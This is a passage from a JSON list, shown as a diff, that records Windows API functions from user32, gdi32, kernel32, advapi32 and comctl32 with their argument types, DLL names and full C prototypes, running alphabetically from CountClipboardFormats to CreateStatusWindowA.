PSID pDestinationSid, PSID pSourceSid );" + }, + { + "function_name": "CountClipboardFormats", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "int CountClipboardFormats(VOID);" + }, + { + "function_name": "CreateAcceleratorTableA", + "arguments": [ + "LPACCEL", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HACCEL CreateAcceleratorTableA(LPACCEL lpaccl,int cEntries);" + }, + { + "function_name": "CreateAcceleratorTableW", + "arguments": [ + "LPACCEL", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HACCEL CreateAcceleratorTableW(LPACCEL lpaccl,int cEntries);" + }, + { + "function_name": "CreateBitmap", + "arguments": [ + "int", + "int", + "UINT", + "UINT", + "const void" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateBitmap(int nWidth, int nHeight, UINT cPlanes, UINT cBitsPerPel, const void *lpvBits);" + }, + { + "function_name": "CreateBitmapIndirect", + "arguments": [ + "CONST BITMAP" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateBitmapIndirect(CONST BITMAP *lpbm);" + }, + { + "function_name": "CreateBrushIndirect", + "arguments": [ + "CONST LOGBRUSH *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreateBrushIndirect(CONST LOGBRUSH * lplb);" + }, + { + "function_name": "CreateCaret", + "arguments": [ + "HWND", + "HBITMAP", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL CreateCaret(HWND hWnd, HBITMAP hBitmap, int nWidth, int nHeight);" + }, + { + "function_name": "CreateColorSpaceA", + "arguments": [ + "LPLOGCOLORSPACE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HCOLORSPACE CreateColorSpaceA(LPLOGCOLORSPACE lpLogColorSpace);" + }, + { + "function_name": "CreateColorSpaceW", + "arguments": [ + "LPLOGCOLORSPACEW" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HCOLORSPACE CreateColorSpaceW(LPLOGCOLORSPACEW lpLogColorSpace);" + }, + { + "function_name": "CreateCompatibleBitmap", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateCompatibleBitmap(HDC hdc, int nWidth,int nHeight);" + }, + { + "function_name": "CreateCompatibleDC", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateCompatibleDC(HDC hdc);" + }, + { + "function_name": "CreateConsoleScreenBuffer", + "arguments": [ + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateConsoleScreenBuffer( DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES *lpSecurityAttributes, DWORD dwFlags, LPVOID lpScreenBufferData );" + }, + { + "function_name": "CreateCursor", + "arguments": [ + "HINSTANCE", + "int", + "int", + "int", + "int", + "CONST VOID", + "CONST VOID" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR CreateCursor(HINSTANCE hInst, int xHotSpot, int yHotSpot, int nWidth, int nHeight, CONST VOID *pvANDPlane, CONST VOID *pvXORPlane );" + }, + { + "function_name": "CreateDCA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "CONST DEVMODE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateDCA( LPCTSTR lpszDriver, LPCTSTR lpszDevice, LPCTSTR lpszOutput, CONST DEVMODE *lpInitData );" + }, + { + "function_name": "CreateDCW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "const DEVMODEW *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateDCW(LPCWSTR lpszDriver, LPCWSTR lpszDevice,LPCWSTR lpszOutput,const DEVMODEW * lpInitData);" + }, + { + "function_name": "CreateDesktopA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPDEVMODE", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK CreateDesktopA(LPCTSTR lpszDesktop, LPCTSTR lpszDevice, LPDEVMODE pDevMode, DWORD dwFlags, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa);" + }, + { + "function_name": "CreateDesktopW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPDEVMODEW", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK CreateDesktopW(LPCWSTR lpszDesktop, LPCWSTR lpszDevice, LPDEVMODEW pDevMode, DWORD dwFlags, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa);" + }, + { + "function_name": "CreateDialogIndirectParamA", + "arguments": [ + "HINSTANCE", + "LPCDLGTEMPLATE", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateDialogIndirectParamA(HINSTANCE hInstance, LPCDLGTEMPLATE lpTemplate, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM lParamInit);" + }, + { + "function_name": "CreateDialogIndirectParamW", + "arguments": [ + "HINSTANCE", + "LPCDLGTEMPLATE", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateDialogIndirectParamW(HINSTANCE hInstance, LPCDLGTEMPLATE lpTemplate, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM lParamInit);" + }, + { + "function_name": "CreateDialogParamA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateDialogParamA(HINSTANCE hInstance, LPCTSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "CreateDialogParamW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateDialogParamW(HINSTANCE hInstance, LPCWSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "CreateDIBPatternBrush", + "arguments": [ + "HGLOBAL", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreateDIBPatternBrush(HGLOBAL hglbDIBPacked, UINT fuColorSpec);" + }, + { + "function_name": "CreateDIBPatternBrushPt", + "arguments": [ + "CONST VOID *", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreateDIBPatternBrushPt(CONST VOID * lpPackedDIB, UINT iUsage);" + }, + { + "function_name": "CreateDIBSection", + "arguments": [ + "HDC", + "CONST BITMAPINFO", + "UINT", + "VOID", + "HANDLE", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateDIBSection(HDC hdc, CONST BITMAPINFO *pbmi, UINT iUsage, VOID **ppvBits, HANDLE hSection, DWORD dwOffset);" + }, + { + "function_name": "CreateDIBitmap", + "arguments": [ + "HDC", + "CONST BITMAPINFOHEADER *", + "DWORD", + "CONST VOID", + "CONST BITMAPINFO *", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateDIBitmap(HDC hdc, CONST BITMAPINFOHEADER * lpbmih, DWORD fdwInit, CONST VOID *lpbInit, CONST BITMAPINFO * lpbmi, UINT fuUsage);" + }, + { + "function_name": "CreateDirectoryA", + "arguments": [ + "LPCTSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryA( LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);" + }, + { + "function_name": "CreateDirectoryW", + "arguments": [ + "LPCWSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryW(LPCWSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes);" + }, + { + "function_name": "CreateDirectoryExA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryExA( LPCTSTR lpTemplateDirectory, LPCTSTR lpNewDirectory, LPSECURITY_ATTRIBUTES lpSecurityAttributes );" + }, + { + "function_name": "CreateDirectoryExW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryExW( LPCWSTR lpTemplateDirectory, LPCWSTR lpNewDirectory, LPSECURITY_ATTRIBUTES lpSecurityAttributes );" + }, + { + "function_name": "CreateDirectoryTransactedA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPSECURITY_ATTRIBUTES", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryTransactedA( LPCTSTR lpTemplateDirectory, LPCTSTR lpNewDirectory, LPSECURITY_ATTRIBUTES lpSecurityAttributes, HANDLE hTransaction);" + }, + { + "function_name": "CreateDirectoryTransactedW", + "arguments": [ + "LPCTWSTR", + "LPCTWSTR", + "LPSECURITY_ATTRIBUTES", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateDirectoryTransactedW( LPCTWSTR lpTemplateDirectory, LPCTWSTR lpNewDirectory, LPSECURITY_ATTRIBUTES lpSecurityAttributes, HANDLE hTransaction);" + }, + { + "function_name": "CreateDiscardableBitmap", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBITMAP CreateDiscardableBitmap(HDC hdc, int nWidth, int nHeight);" + }, + { + "function_name": "CreateEllipticRgn", + "arguments": [ + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreateEllipticRgn(int nLeftRect, int nTopRect,int nRightRect,int nBottomRect);" + }, + { + "function_name": "CreateEllipticRgnIndirect", + "arguments": [ + "CONST RECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreateEllipticRgnIndirect(CONST RECT *lprc);" + }, + { + "function_name": "CreateEnhMetaFileA", + "arguments": [ + "HDC", + "LPCTSTR", + "CONST RECT *", + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateEnhMetaFileA(HDC hdcRef, LPCTSTR lpFilename, CONST RECT * lpRect,LPCTSTR lpDescription);" + }, + { + "function_name": "CreateEnhMetaFileW", + "arguments": [ + "HDC", + "LPCWSTR", + "const RECT", + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateEnhMetaFileW(HDC hdcRef, LPCWSTR lpFilename, const RECT *lpRect, LPCWSTR lpDescription);" + }, + { + "function_name": "CreateEventA", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateEventA( LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCTSTR lpName );" + }, + { + "function_name": "CreateEventW", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateEventW(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCWSTR lpName );" + }, + { + "function_name": "CreateFiber", + "arguments": [ + "SIZE_T", + "LPFIBER_START_ROUTINE", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID CreateFiber(SIZE_T dwStackSize,LPFIBER_START_ROUTINE lpStartAddress,LPVOID lpParameter);" + }, + { + "function_name": "CreateFileA", + "arguments": [ + "LPCTSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "DWORD", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateFileA( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDistribution, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );" + }, + { + "function_name": "CreateFileW", + "arguments": [ + "LPCWSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "DWORD", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateFileW( LPCWSTR filename, DWORD access, DWORD sharing, LPSECURITY_ATTRIBUTES sa, DWORD creation, DWORD attributes, HANDLE template );" + }, + { + "function_name": "CreateFileMappingA", + "arguments": [ + "HANDLE", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "DWORD", + "DWORD", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName );" + }, + { + "function_name": "CreateFileMappingW", + "arguments": [ + "HANDLE", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "DWORD", + "DWORD", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateFileMappingW( HANDLE hFile, LPSECURITY_ATTRIBUTES sa, DWORD protect, DWORD size_high, DWORD size_low, LPCWSTR name );" + }, + { + "function_name": "CreateFontA", + "arguments": [ + "int", + "int", + "int", + "int", + "int", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HFONT CreateFontA( int nHeight, int nWidth, int nEscapement, int nOrientation, int fnWeight, DWORD fdwItalic, DWORD fdwUnderline, DWORD fdwStrikeOut, DWORD fdwCharSet, DWORD fdwOutputPrecision, DWORD fdwClipPrecision, DWORD fdwQuality, DWORD fdwPitchAndFamily, LPCTSTR lpszFace );" + }, + { + "function_name": "CreateFontIndirectA", + "arguments": [ + "CONST LOGFONT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HFONT CreateFontIndirectA(CONST LOGFONT *lplf);" + }, + { + "function_name": "CreateFontIndirectW", + "arguments": [ + "CONST LOGFONTW" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HFONT CreateFontIndirectW(CONST LOGFONTW *lplf);" + }, + { + "function_name": "CreateFontW", + "arguments": [ + "int", + "int", + "int", + "int", + "int", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HFONT CreateFontW( int nHeight, int nWidth, int nEscapement, int nOrientation, int fnWeight, DWORD fdwItalic, DWORD fdwUnderline, DWORD fdwStrikeOut, DWORD fdwCharSet, DWORD fdwOutputPrecision, DWORD fdwClipPrecision, DWORD fdwQuality, DWORD fdwPitchAndFamily, LPCWSTR lpszFace );" + }, + { + "function_name": "CreateHalftonePalette", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPALETTE CreateHalftonePalette(HDC hdc);" + }, + { + "function_name": "CreateHatchBrush", + "arguments": [ + "int", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreateHatchBrush(int fnStyle, COLORREF clrref);" + }, + { + "function_name": "CreateICA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "CONST DEVMODE *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateICA( LPCTSTR lpszDriver, LPCTSTR lpszDevice, LPCTSTR lpszOutput, CONST DEVMODE * lpdvmInit );" + }, + { + "function_name": "CreateICW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "CONST DEVMODEW *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateICW(LPCWSTR lpszDriver, LPCWSTR lpszDevice, LPCWSTR lpszOutput, CONST DEVMODEW * lpdvmInit);" + }, + { + "function_name": "CreateIcon", + "arguments": [ + "HINSTANCE", + "int", + "int", + "BYTE", + "BYTE", + "CONST BYTE", + "CONST BYTE" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON CreateIcon( HINSTANCE hInstance, int nWidth, int nHeight, BYTE cPlanes, BYTE cBitsPixel, CONST BYTE *lpbANDbits, CONST BYTE *lpbXORbits );" + }, + { + "function_name": "CreateIconFromResource", + "arguments": [ + "PBYTE", + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON CreateIconFromResource(PBYTE presbits, DWORD dwResSize, BOOL fIcon, DWORD dwVer);" + }, + { + "function_name": "CreateIconFromResourceEx", + "arguments": [ + "PBYTE", + "DWORD", + "BOOL", + "DWORD", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON CreateIconFromResourceEx(PBYTE pbIconBits, DWORD cbIconBits,BOOL fIcon, DWORD dwVersion, int cxDesired, int cyDesired, UINT uFlags);" + }, + { + "function_name": "CreateIconIndirect", + "arguments": [ + "PICONINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "HICON CreateIconIndirect(PICONINFO piconinfo);" + }, + { + "function_name": "CreateMailslotA", + "arguments": [ + "LPCTSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateMailslotA( LPCTSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes );" + }, + { + "function_name": "CreateMailslotW", + "arguments": [ + "LPCWSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateMailslotW( LPCWSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES sa );" + }, + { + "function_name": "CreateMDIWindowA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "DWORD", + "int", + "int", + "int", + "int", + "HWND", + "HINSTANCE", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateMDIWindowA(LPTSTR lpClassName, LPTSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HINSTANCE hInstance, LPARAM lParam);" + }, + { + "function_name": "CreateMDIWindowW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "DWORD", + "int", + "int", + "int", + "int", + "HWND", + "HINSTANCE", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateMDIWindowW(LPCWSTR lpClassName, LPCWSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HINSTANCE hInstance, LPARAM lParam);" + }, + { + "function_name": "CreateMenu", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU CreateMenu(VOID);" + }, + { + "function_name": "CreateMetaFileA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateMetaFileA(LPCTSTR lpszFile);" + }, + { + "function_name": "CreateMetaFileW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC CreateMetaFileW(LPCWSTR filename);" + }, + { + "function_name": "CreateMutexA", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateMutexA( LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCTSTR lpName );" + }, + { + "function_name": "CreateMutexW", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateMutexW(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCWSTR lpName );" + }, + { + "function_name": "CreateNamedPipeA", + "arguments": [ + "LPCTSTR", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateNamedPipeA( LPCTSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes );" + }, + { + "function_name": "CreateNamedPipeW", + "arguments": [ + "LPCWSTR", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateNamedPipeW(LPCWSTR lpName,DWORD dwOpenMode,DWORD nMaxInstances,DWORD nOutBufferSize,DWORD nInBufferSize,DWORD nDefaultTimeOut,DWORD nDefaultTimeOut,LPSECURITY_ATTRIBUTES lpSecurityAttributes );" + }, + { + "function_name": "CreatePalette", + "arguments": [ + "CONST LOGPALETTE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPALETTE CreatePalette(CONST LOGPALETTE *lplgpl);" + }, + { + "function_name": "CreatePatternBrush", + "arguments": [ + "HBITMAP" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreatePatternBrush(HBITMAP hbmp);" + }, + { + "function_name": "CreatePen", + "arguments": [ + "int", + "int", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPEN CreatePen(int fnPenStyle,int nWidth, COLORREF crColor);" + }, + { + "function_name": "CreatePenIndirect", + "arguments": [ + "CONST LOGPEN *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPEN CreatePenIndirect(CONST LOGPEN * lplgpn);" + }, + { + "function_name": "CreatePipe", + "arguments": [ + "PHANDLE", + "PHANDLE", + "LPSECURITY_ATTRIBUTES", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize );" + }, + { + "function_name": "CreatePolyPolygonRgn", + "arguments": [ + "CONST POINT", + "CONST INT", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreatePolyPolygonRgn(CONST POINT *lppt, CONST INT *lpPolyCounts,int nCount,int fnPolyFillMode);" + }, + { + "function_name": "CreatePolygonRgn", + "arguments": [ + "CONST POINT", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreatePolygonRgn(CONST POINT *lppt, int cPoints, int fnPolyFillMode);" + }, + { + "function_name": "CreatePopupMenu", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU CreatePopupMenu(VOID)" + }, + { + "function_name": "CreatePrivateObjectSecurity", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR *", + "BOOL", + "HANDLE", + "PGENERIC_MAPPING" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL CreatePrivateObjectSecurity( PSECURITY_DESCRIPTOR ParentDescriptor, PSECURITY_DESCRIPTOR CreatorDescriptor, PSECURITY_DESCRIPTOR * NewDescriptor, BOOL IsDirectoryObject, HANDLE Token, PGENERIC_MAPPING GenericMapping );" + }, + { + "function_name": "CreateProcessA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "LPSECURITY_ATTRIBUTES", + "LPSECURITY_ATTRIBUTES", + "BOOL", + "DWORD", + "LPVOID", + "LPCTSTR", + "LPSTARTUPINFO", + "LPPROCESS_INFORMATION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );" + }, + { + "function_name": "CreateProcessW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "LPSECURITY_ATTRIBUTES", + "LPSECURITY_ATTRIBUTES", + "BOOL", + "DWORD", + "PVOID", + "LPCWSTR", + "LPSTARTUPINFOW", + "LPPROCESS_INFORMATION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL CreateProcessW(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,PVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);" + }, + { + "function_name": "CreateProcessAsUserA", + "arguments": [ + "HANDLE hToken LPCTSTR", + "LPTSTR", + "LPSECURITY_ATTRIBUTES", + "LPSECURITY_ATTRIBUTES", + "BOOL", + "DWORD", + "LPVOID", + "LPCTSTR", + "LPSTARTUPINFO", + "LPPROCESS_INFORMATION" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL CreateProcessAsUserA( HANDLE hToken LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );" + }, + { + "function_name": "CreateProcessAsUserW", + "arguments": [ + "HANDLE hToken LPCWSTR", + "LPWSTR", + "LPSECURITY_ATTRIBUTES", + "LPSECURITY_ATTRIBUTES", + "BOOL", + "DWORD", + "LPVOID", + "LPWSTR", + "LPSTARTUPINFO", + "LPPROCESS_INFORMATION" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL CreateProcessAsUserW( HANDLE hToken LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPWSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );" + }, + { + "function_name": "CreateRectRgn", + "arguments": [ + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreateRectRgn(int nLeftRect,int nTopRect, int nRightRect, int nBottomRect);" + }, + { + "function_name": "CreateRectRgnIndirect", + "arguments": [ + "CONST RECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreateRectRgnIndirect(CONST RECT *lprc);" + }, + { + "function_name": "CreateRemoteThread", + "arguments": [ + "HANDLE", + "LPSECURITY_ATTRIBUTES", + "DWORD", + "LPTHREAD_START_ROUTINE", + "LPVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );" + }, + { + "function_name": "CreateRoundRectRgn", + "arguments": [ + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN CreateRoundRectRgn(int nLeftRect, int nTopRect, int nRightRect,int nBottomRect, int nWidthEllipse,int nHeightEllipse);" + }, + { + "function_name": "CreateScalableFontResourceA", + "arguments": [ + "DWORD", + "LPCTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CreateScalableFontResourceA(DWORD fdwHidden, LPCTSTR lpszFontRes, LPCTSTR lpszFontFile,LPCTSTR lpszCurrentPath);" + }, + { + "function_name": "CreateScalableFontResourceW", + "arguments": [ + "DWORD", + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL CreateScalableFontResourceW(DWORD fdwHidden, LPCWSTR lpszFontRes, LPCWSTR lpszFontFile,LPCWSTR lpszCurrentPath);" + }, + { + "function_name": "CreateSemaphoreA", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "LONG", + "LONG", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateSemaphoreA( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName );" + }, + { + "function_name": "CreateSemaphoreW", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "LONG", + "LONG", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateSemaphoreW(LPSECURITY_ATTRIBUTES lpSemaphoreAttributes,LONG lInitialCount,LONG lMaximumCount,LPCWSTR lpName);" + }, + { + "function_name": "CreateSolidBrush", + "arguments": [ + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HBRUSH CreateSolidBrush(COLORREF crColor);" + }, + { + "function_name": "CreateStatusWindowA", + "arguments": [ + "LONG", + "LPCTSTR", + "HWND", + "UINT" + ], + "dll_name": "comctl32.dll", + "full_prototype": "HWND CreateStatusWindowA( LONG style, LPCTSTR lpszText, HWND hwndParent, UINT wID );" + }, 